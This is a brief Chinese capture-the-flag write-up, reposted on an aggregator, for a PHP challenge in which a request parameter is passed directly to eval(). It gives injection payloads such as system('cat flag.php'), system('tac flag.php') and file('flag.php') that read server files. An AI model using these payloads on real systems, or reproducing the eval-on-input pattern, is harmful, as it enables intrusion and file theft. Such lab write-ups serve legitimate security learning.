首页 > Web开发 > 详细

web8-文件包含

时间:2021-05-19 10:17:22      阅读:17      评论:0      收藏:0      [点我收藏+]
 <?php
    include "flag.php";
    $a = @$_REQUEST[‘hello‘];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

Too Young Too Simple

分析题,flag在一个php文件中

@$_REQUEST 与$_GET、$_POST 用途差不多,前者是后两者的结合

给hello一个值会用eavl进行函数执行

刚开始想法很简单

index.php?hello=system(‘cat flag.php‘)

相当于一句话,

然后并没出来,怀疑自我,

参考了别人的,在源代码里找到了flag。。。

其它比较有意思的几种写法

  var_dump()函数可以打印

  index.php?hello=file(‘flag.php‘)

  index.php?hello=system(‘tac flag.php‘)  //cat 倒过来也可以,不明白。。

 

web8-文件包含

原文:https://www.cnblogs.com/yunhai666/p/14783307.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!